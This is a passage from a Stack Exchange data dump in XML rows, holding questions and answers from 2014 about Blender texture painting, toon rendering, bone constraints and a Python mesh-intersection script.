AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9063" PostTypeId="1" AcceptedAnswerId="9181" CreationDate="2014-05-01T22:53:09.117" Score="0" ViewCount="7547" Body="&lt;p&gt;I have created a rigged 3D model, and it starts with nothing but white. I wonder how to color the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try painting it directly in Blender and did not like the results. There were spots I couldn't get to make my model blink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried unwrapping the mesh, painting it in an external program, and &quot;wrapping&quot; the new painted texture around it. The results were much better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I on the right track? What can I do to improve the resulting model? What other options do I have? I want the model to be 100% done, to be used in an external game engine, so that I can start with the programming.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="1363" LastEditDate="2014-05-06T23:16:09.643" LastActivityDate="2014-05-07T05:20:34.360" Title="Best way to add color to your 3D model?" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;uv&gt;&lt;texture-painting&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9064" PostTypeId="1" CreationDate="2014-05-01T23:41:54.027" Score="5" ViewCount="5451" Body="&lt;p&gt;I am having a problem trying to implement texture project paint with Cycles, Blender 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go through the process of importing the model (a female head), establishing the seams and unwrapping without an issue; when I try to add the new UV maps I can add them and then I can unwrap on each to get the different views; all that works. The problem starts when I try to assign an image to those UVs, that it does not stay. As I cycle through the UVs I can see that the UVs are different but the image remains the same and i have to change it manually. My UVMain is black; this is the texture I want to project the other textures into. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After applying the black image texture to the model, I select the model, and I go into texture paint; in the Tools tab, I select the Clone Brush; in the Options tab, I make sure that under the Project Paint section Occlude, Cull, and Normal are selected, that UVMain is set as the Stencil and UVSideView is set as Clone From UV Map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory I should be ready to project the texture into my mesh (and into the black image, which is the current texture of the model), but when I paint, nothing happens; I can see that changes have been made to the image for the asterisk, but no changes are apparent. When I change to the Draw brush, everything works and the texture gets painted; but projecting the texture from a photo does not work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not only that it does not work, I fail to see how does the image in UV Image editor relates to the UV Layout; if they are not linked at all I cannot see how can I achieve texture projection; when I cycle through the different UV layouts in the Object Data section, all that changes is the UV Layout; and that makes sense, but how do I link it to the texture I am interested in projecting?  am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="3350" LastEditorUserId="12" LastEditDate="2014-05-03T23:25:45.087" LastActivityDate="2014-05-03T23:25:45.087" Title="Can Project Paint be used with Cycles?" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9065" PostTypeId="1" CreationDate="2014-05-01T23:48:07.530" Score="2" ViewCount="1040" Body="&lt;p&gt;I'm trying to use texture painting with UV maps (both of which I am new to), and when I go into texture paint for my model, I can't paint it. I have UV-unwrapped the model when in edit mode with smart unwrap, set the texture node as active in the node editor, and selected my image file. Is there anything else I need to do?&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2014-05-02T14:48:15.857" Title="Can't texture paint in cycles" Tags="&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9066" PostTypeId="1" AcceptedAnswerId="9067" CreationDate="2014-05-02T01:35:30.730" Score="5" ViewCount="1812" Body="&lt;p&gt;I asked a &lt;a href=&quot;https://blender.stackexchange.com/q/8959/599&quot;&gt;similar question before&lt;/a&gt;, except this time instead of parenting objects I want to parent the gun magazine bone to the left arms wrist for a bit, then set it back to the gun bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My arms and my gun are all one armature, so I only have one armature in the scene.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-05-07T13:31:33.150" Title="Parent bone temporarily?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9067" PostTypeId="2" ParentId="9066" CreationDate="2014-05-02T01:54:14.850" Score="5" Body="&lt;p&gt;You can use the same technique as &lt;a href=&quot;https://blender.stackexchange.com/q/8959/599&quot;&gt;before&lt;/a&gt;, but using a bone constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference is that you must add the constraint from &lt;em&gt;Properties &gt; Bone constraints&lt;/em&gt; panel instead of the &lt;em&gt;Constraints&lt;/em&gt; panel, while in &lt;em&gt;pose mode&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bxpcI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-05-02T01:54:14.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9068" PostTypeId="1" CreationDate="2014-05-02T02:37:56.243" Score="6" ViewCount="3088" Body="&lt;p&gt;I want the whites to be &quot;white&quot; and not grey, and the shadows to not be so dark. Is this just a matter of setting up appropriate lightning? Or is there a shortcut to getting the viewport results (but with more control, like alpha channel)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bad render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1sjJY.jpg&quot; alt=&quot;Bad render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like an more illustrative or &quot;cartoon&quot; style render. With subtle shadows, etc. Perhaps I should just do this in Illustrator -- but I saw the great tutorial on this and wanted to try out Blender. :D&lt;/p&gt;&#xA;" OwnerUserId="2019" LastActivityDate="2014-08-29T07:15:24.593" Title="How do I get a cycles render that is similar to the default OpenGL viewport render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9069" PostTypeId="2" ParentId="9064" CreationDate="2014-05-02T04:55:01.057" Score="4" Body="&lt;p&gt;Project Paint is a Blender Render feature that doesn't appear to work when using Cycles. It is also an old way of texture painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cycles you need to add a material to the object and have an image node that defines what image is to be used to receive the results of texture painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than using project paint you should try painting with a texture, I am referring to using a texture with a paint brush while in texture paint mode. The texture can be an image or any other procedural texture available in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x1PNg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a texture setup, you choose the texture and set the brush mapping to Stencil then the texture will be overlaid in the 3dview. You can move the overlay with the right mouse button and rotate your model as usual, when the texture is in the place you want it to appear you can paint it on your model. The overlay clearly shows where the texture will be placed on your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XzZgE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While right clicking easily moves the overlay around, you can also use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-click to quickly rotate the overlay and &lt;kbd&gt;Shift&lt;/kbd&gt;-click to scale the overlay to get the texture right where you want it to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique works just as well in both Blender Render and Cycles. The overlay feature of texture painting was added in blender 2.67&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-02T04:55:01.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9070" PostTypeId="1" CreationDate="2014-05-02T05:20:49.177" Score="3" ViewCount="4973" Body="&lt;p&gt;I appended an object to my scene that already has the animation I want it to have, and I want to rotate it so that it's facing another direction. The problem is that after I rotate it when I go to test out the animation it snaps back into its original position. I was also hoping to scale it. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3353" LastActivityDate="2018-05-27T02:16:22.143" Title="How do I rotate an object that already has keyframes?" Tags="&lt;workflow&gt;&lt;objects&gt;&lt;append&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9071" PostTypeId="2" ParentId="9045" CreationDate="2014-05-02T06:32:17.810" Score="6" Body="&lt;p&gt;All of the node data is available through python so a workaround could be to use a python script to adjust the curve at the right time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To view the curve data you can use a script like -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;theCurveNode = bpy.data.materials['Material'].node_tree.nodes['RGB Curves']&#xA;&#xA;print(&quot;R Curve points are:&quot;)&#xA;for point in theCurveNode.mapping.curves[0].points:&#xA;    print(point.location)&#xA;&#xA;print(&quot;G Curve points are:&quot;)&#xA;for point in theCurveNode.mapping.curves[1].points:&#xA;    print(point.location)&#xA;&#xA;print(&quot;B Curve points are:&quot;)&#xA;for point in theCurveNode.mapping.curves[2].points:&#xA;    print(point.location)&#xA;&#xA;print(&quot;C Curve points are:&quot;)&#xA;for point in theCurveNode.mapping.curves[3].points:&#xA;    print(point.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So curves[] will always be 0-3 for RGBC and each curve can have any number of points. It would be tedious but you could use the script to generate a list of values that you then use as data for the script that imitates keyframes. Possibly calculating them or interpolating smoothly between frames.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;theCurveNode.mapping.curves[1].points[2].location.x = myCurvePointLocX(1,2)&#xA;theCurveNode.mapping.curves[1].points[2].location.y = myCurvePointLocY(1,2)&#xA;theCurveNode.mapping.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be sure to run &lt;code&gt;mapping.update()&lt;/code&gt; after altering any curve points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then setup a script that appends a function for &lt;code&gt;bpy.app.handlers.frame_change_pre&lt;/code&gt; that alters the curves based on frame_current.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't say this is a recommended method but in theory it could work.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-02T06:32:17.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9072" PostTypeId="2" ParentId="9070" CreationDate="2014-05-02T07:00:32.543" Score="3" Body="&lt;p&gt;You can do so in Edit Mode. Anything you do in edit mode, rotation, scale remains like that in object mode.&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-05-02T07:00:32.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9073" PostTypeId="1" AcceptedAnswerId="9080" CreationDate="2014-05-02T07:26:38.370" Score="15" ViewCount="9038" Body="&lt;p&gt;I need to check if two meshes intersect or not. At the moment I have some python code to find intersections of world axes aligned bounding boxes, next step would be to implement check for mesh intersection for objects with intersecting bounding boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender Python API I found only very low level functions (like check if ray intersects a triangle), unless I'm missing something using them for my purpose would be slow and inefficient. Is there some kind of python library I could use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I think all I need is already implemented in rigid body physics: it has a noticeable reaction when objects are intersecting, and seems to be well optimized. But I think I cannot access its internal data like if there is mesh intersection, so I have to continue with my own implementation. Please correct me if I'm wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm actually trying to achieve is to be able to do something with intersecting objects, for example search for intersecting objects in selection, and then delete or select them, but it all boils down to checking if two meshes intersect or not.&lt;/p&gt;&#xA;" OwnerUserId="3110" LastActivityDate="2018-05-28T05:39:34.913" Title="How to check if two meshes intersect in python?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9074" PostTypeId="2" ParentId="9068" CreationDate="2014-05-02T07:54:19.697" Score="8" Body="&lt;p&gt;Here is a comparison of different render engines/techniques:&lt;/p&gt;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;Using just a toon shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yGA1u.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This render is with large mesh lights, which give soft transitions. With some small point lamps you can get a more sharp result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RZY3D.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Manually defining a vector to create a sharp gradient/cartoon kind of shading:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oT3m9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oT3m9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8NlwD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Light sources do not affect this shader unfortunately, you must manually define the vector with the mapping node.&lt;/p&gt;&#xA;&lt;h1&gt;BI&lt;/h1&gt;&#xA;&lt;p&gt;Toon shading:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5OPyn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The spots are basically the same, except very dark gray (not quite black).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6oUqy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Other scene settings:&lt;br /&gt;&#xA;Single sun lamp with a light gray shadow, AO enabled in &lt;em&gt;World settings&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;An effect very much like the second cycles example can be achieved with the &lt;em&gt;Emit&lt;/em&gt; value set to 1. You can also get finer control over the colors/intensity of the toon shader by enabling &lt;em&gt;ramp&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GGz6G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w2VIU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that this one uses light sources properly, so it can be used in animation.&lt;/p&gt;&#xA;&lt;h1&gt;OpenGL&lt;/h1&gt;&#xA;&lt;p&gt;When you have GLSL enabled, the openGL view will actually render the BI toon shading settings in real time. You can even render shadows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tXbFL.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To make the sky transparent when rendering openGL renders, &lt;s&gt;set the &lt;em&gt;Alpha&lt;/em&gt; to &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &amp;gt; OpenGL&lt;/em&gt; (&lt;em&gt;render settings &amp;gt; Shading&lt;/em&gt; when BI is the current render engine).&lt;/s&gt; This is under &lt;em&gt;Render &amp;gt; OpenGL options&lt;/em&gt; in the info panel as of 2.71.&lt;/p&gt;&#xA;&lt;p&gt;To render an animation or still with OpenGL, select it from the render drop down, or click the button on the header of the 3D view:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ov3Wk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-29T07:15:24.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9075" PostTypeId="2" ParentId="9070" CreationDate="2014-05-02T08:37:05.830" Score="0" Body="&lt;p&gt;When you model snaps back it could be that you didn't keyframe the location of the root bone or simply single object. When you add keyframes in the default layout all the keyframes are added to a default action e.g. if the name of your object is cube the keyframes will be added to &lt;em&gt;CubeAction&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create another &lt;em&gt;Action&lt;/em&gt; to take only the additional rotation keyframes and&#xA;add the current Action and the Rotation-Action to two Stripes in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&quot; rel=&quot;nofollow noreferrer&quot;&gt;NLA-Editor&lt;/a&gt;.&#xA;You have several options on how the Actions are blended and where the blending starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xZ37a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more detailed &lt;a href=&quot;https://sites.google.com/site/makehumandocs/blender-export-and-mhx/mocap-tool/combining-actions-in-nla-editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial description&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-05-02T08:46:12.477" LastActivityDate="2014-05-02T08:46:12.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9076" PostTypeId="2" ParentId="9040" CreationDate="2014-05-02T09:11:05.727" Score="1" Body="&lt;p&gt;The problem was that I created the scenes using blender 2.66, but invoked Blender 2.58 on the command line; there are backwards compatibility issues involved here although I forgot exactly what it was (something to do with ngons I believe). Regardless the end result is that precious few object types created in 2.66 will load in 2.58 so the real surprise here was that anything was displayed at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for everybody who kindly tried helping with this. Took me a while to track the issue as I usually need to keep several versions of blender installed so I guess this 'issue' wouldn't affect many people.&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastActivityDate="2014-05-02T09:11:05.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9077" PostTypeId="1" CreationDate="2014-05-02T12:30:32.087" Score="2" ViewCount="521" Body="&lt;p&gt;I'm trying to make some graphics for a title sequence which involves some 'T's falling down. However when I render the animation the 'T's don't show up and I can't figure out why, can anybody help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my file &lt;a href=&quot;http://www.pasteall.org/blend/28870&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/28870&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="3093" LastActivityDate="2014-05-02T13:04:08.077" Title="Why are some items not showing up in my rendered animation?" Tags="&lt;rendering&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9078" PostTypeId="2" ParentId="9077" CreationDate="2014-05-02T12:54:38.433" Score="2" Body="&lt;p&gt;When I open your file and play back the animation (by pressing [Alt+A]) the Ts do not move at all. They hang above the camera and never come into the picture, thus they never show up in your render.&lt;br&gt;&#xA;I am not sure why the animation behaves like this, but I have found a way to resolve the problem: Set the Start frame of your animation to 1 and let it play once. The rigid bodies will fall down from their starting position. When you set it back to 250 afterwards, the Ts will behave correctly and fall down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; It looks like Blender is caching the animation. See the orange line at the bottom of the Timeline:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Qkzmk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The part that is cached is colored in a strong orange, the uncached part is only slightly orange. I think this cache is temporary and is lost when you close blender. If you start your animation again from a point that is not the beginning, Blender does not know the current velocities / angular velocities of the rigid bodies and could not solve the rigid body motion correctly, so it shows no motion at all instead.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-05-02T13:04:08.077" LastActivityDate="2014-05-02T13:04:08.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9079" PostTypeId="1" CreationDate="2014-05-02T13:06:05.900" Score="3" ViewCount="522" Body="&lt;p&gt;I'm using the game engine and I have a cylinder (rigid body) which has to crash with another objects. My problem is when I set the propertie &quot;Radius&quot; because at the end of the cylinder there is a sphere that represents that mass of the cylinder that can collide with other objects, so if I change the value of the propertie &quot;Radius&quot; the sphere turns bigger or smaller. I don't know how to do disappear that sphere because I need th cylinder can hit other objects with all its geometry, not only in the end. I try to use &quot;Collision Bound&quot; type &quot;Cylinder&quot; but the behaviour is very similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the screenshots!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we can see the sphere at the end of the cylinder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Ocum.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end of the cylinder that has the sphere hits the ball&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DGnL5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the other tip of the cylinder break through the ball&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bVeNZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I fix this?&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2015-03-27T11:56:12.377" Title="Mass of the object and collsions" Tags="&lt;game-engine&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9080" PostTypeId="2" ParentId="9073" CreationDate="2014-05-02T14:19:45.277" Score="21" Body="&lt;p&gt;There's unfortunately no way to use the Bullet physics engine to test for collisions. So you really have to &lt;code&gt;ray_cast()&lt;/code&gt; to find intersections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;3D Printing Toolbox&lt;/em&gt; addon comes with a self-intersection checker. I quickly adapted the code to test for intersections between two objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def bmesh_copy_from_object(obj, transform=True, triangulate=True, apply_modifiers=False):&#xA;    &quot;&quot;&quot;&#xA;    Returns a transformed, triangulated copy of the mesh&#xA;    &quot;&quot;&quot;&#xA;&#xA;    assert(obj.type == 'MESH')&#xA;&#xA;    if apply_modifiers and obj.modifiers:&#xA;        me = obj.to_mesh(bpy.context.scene, True, 'PREVIEW', calc_tessface=False)&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(me)&#xA;        bpy.data.meshes.remove(me)&#xA;    else:&#xA;        me = obj.data&#xA;        if obj.mode == 'EDIT':&#xA;            bm_orig = bmesh.from_edit_mesh(me)&#xA;            bm = bm_orig.copy()&#xA;        else:&#xA;            bm = bmesh.new()&#xA;            bm.from_mesh(me)&#xA;&#xA;    # Remove custom data layers to save memory&#xA;    for elem in (bm.faces, bm.edges, bm.verts, bm.loops):&#xA;        for layers_name in dir(elem.layers):&#xA;            if not layers_name.startswith(&quot;_&quot;):&#xA;                layers = getattr(elem.layers, layers_name)&#xA;                for layer_name, layer in layers.items():&#xA;                    layers.remove(layer)&#xA;&#xA;    if transform:&#xA;        bm.transform(obj.matrix_world)&#xA;&#xA;    if triangulate:&#xA;        bmesh.ops.triangulate(bm, faces=bm.faces)&#xA;&#xA;    return bm&#xA;&#xA;def bmesh_check_intersect_objects(obj, obj2):&#xA;    &quot;&quot;&quot;&#xA;    Check if any faces intersect with the other object&#xA;&#xA;    returns a boolean&#xA;    &quot;&quot;&quot;&#xA;    assert(obj != obj2)&#xA;&#xA;    # Triangulate&#xA;    bm = bmesh_copy_from_object(obj, transform=True, triangulate=True)&#xA;    bm2 = bmesh_copy_from_object(obj2, transform=True, triangulate=True)&#xA;&#xA;    # If bm has more edges, use bm2 instead for looping over its edges&#xA;    # (so we cast less rays from the simpler object to the more complex object)&#xA;    if len(bm.edges) &amp;gt; len(bm2.edges):&#xA;        bm2, bm = bm, bm2&#xA;&#xA;    # Create a real mesh (lame!)&#xA;    scene = bpy.context.scene&#xA;    me_tmp = bpy.data.meshes.new(name=&quot;~temp~&quot;)&#xA;    bm2.to_mesh(me_tmp)&#xA;    bm2.free()&#xA;    obj_tmp = bpy.data.objects.new(name=me_tmp.name, object_data=me_tmp)&#xA;    scene.objects.link(obj_tmp)&#xA;    scene.update()&#xA;    ray_cast = obj_tmp.ray_cast&#xA;&#xA;    intersect = False&#xA;&#xA;    EPS_NORMAL = 0.000001&#xA;    EPS_CENTER = 0.01  # should always be bigger&#xA;&#xA;    #for ed in me_tmp.edges:&#xA;    for ed in bm.edges:&#xA;        v1, v2 = ed.verts&#xA;&#xA;        # setup the edge with an offset&#xA;        co_1 = v1.co.copy()&#xA;        co_2 = v2.co.copy()&#xA;        co_mid = (co_1 + co_2) * 0.5&#xA;        no_mid = (v1.normal + v2.normal).normalized() * EPS_NORMAL&#xA;        co_1 = co_1.lerp(co_mid, EPS_CENTER) + no_mid&#xA;        co_2 = co_2.lerp(co_mid, EPS_CENTER) + no_mid&#xA;&#xA;        co, no, index = ray_cast(co_1, co_2)&#xA;        if index != -1:&#xA;            intersect = True&#xA;            break&#xA;&#xA;    scene.objects.unlink(obj_tmp)&#xA;    bpy.data.objects.remove(obj_tmp)&#xA;    bpy.data.meshes.remove(me_tmp)&#xA;&#xA;    scene.update()&#xA;&#xA;    return intersect&#xA;&#xA;&#xA;obj = bpy.context.object&#xA;obj2 = (ob for ob in bpy.context.selected_objects if ob != obj).__next__()&#xA;intersect = bmesh_check_intersect_objects(obj, obj2)&#xA;&#xA;print(&quot;There are%s intersections.&quot; % (&quot;&quot; if intersect else &quot; NO&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Select two mesh objects and run the script. It will print the result to the system console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there's a special case: If, for instance, a cube is fully inside another cube, it will report &quot;NO intersections&quot; - since there are none. But if you think of the objects as solid bodies, they do collide.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-02T14:19:45.277" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9081" PostTypeId="1" AcceptedAnswerId="9083" CreationDate="2014-05-02T14:45:01.083" Score="4" ViewCount="1632" Body="&lt;p&gt;For some reason the name text field doesn't appear for vertex groups in blender 2.70. I tried in 2.69 and it's there and works fine. Was this feature removed in 2.70 or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="3152" LastEditorUserId="58" LastEditDate="2014-05-03T01:54:28.587" LastActivityDate="2019-02-28T23:41:27.687" Title="Vertex groups can not be named in blender 2.70" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9082" PostTypeId="2" ParentId="9065" CreationDate="2014-05-02T14:48:15.857" Score="3" Body="&lt;p&gt;I figured it out. Landscape meshes are created with inverted normals. I inverted the normals back on the left sidebar. Afterward I was free to paint.&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2014-05-02T14:48:15.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9083" PostTypeId="2" ParentId="9081" CreationDate="2014-05-02T14:51:34.847" Score="11" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;LMB &lt;a href=&quot;https://i.stack.imgur.com/6pvyV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6pvyV.png&quot; alt=&quot;LMB&quot;&gt;&lt;/a&gt;&lt;/kbd&gt; click, or double &lt;kbd&gt;LMB &lt;a href=&quot;https://i.stack.imgur.com/6pvyV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6pvyV.png&quot; alt=&quot;LMB&quot;&gt;&lt;/a&gt;&lt;/kbd&gt; click on the name of the vertex group. That is now how to rename anything in that type of list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=YAokd6h-Rgk&quot; rel=&quot;nofollow noreferrer&quot;&gt;youtube video&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="32220" LastEditDate="2019-02-28T23:41:27.687" LastActivityDate="2019-02-28T23:41:27.687" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
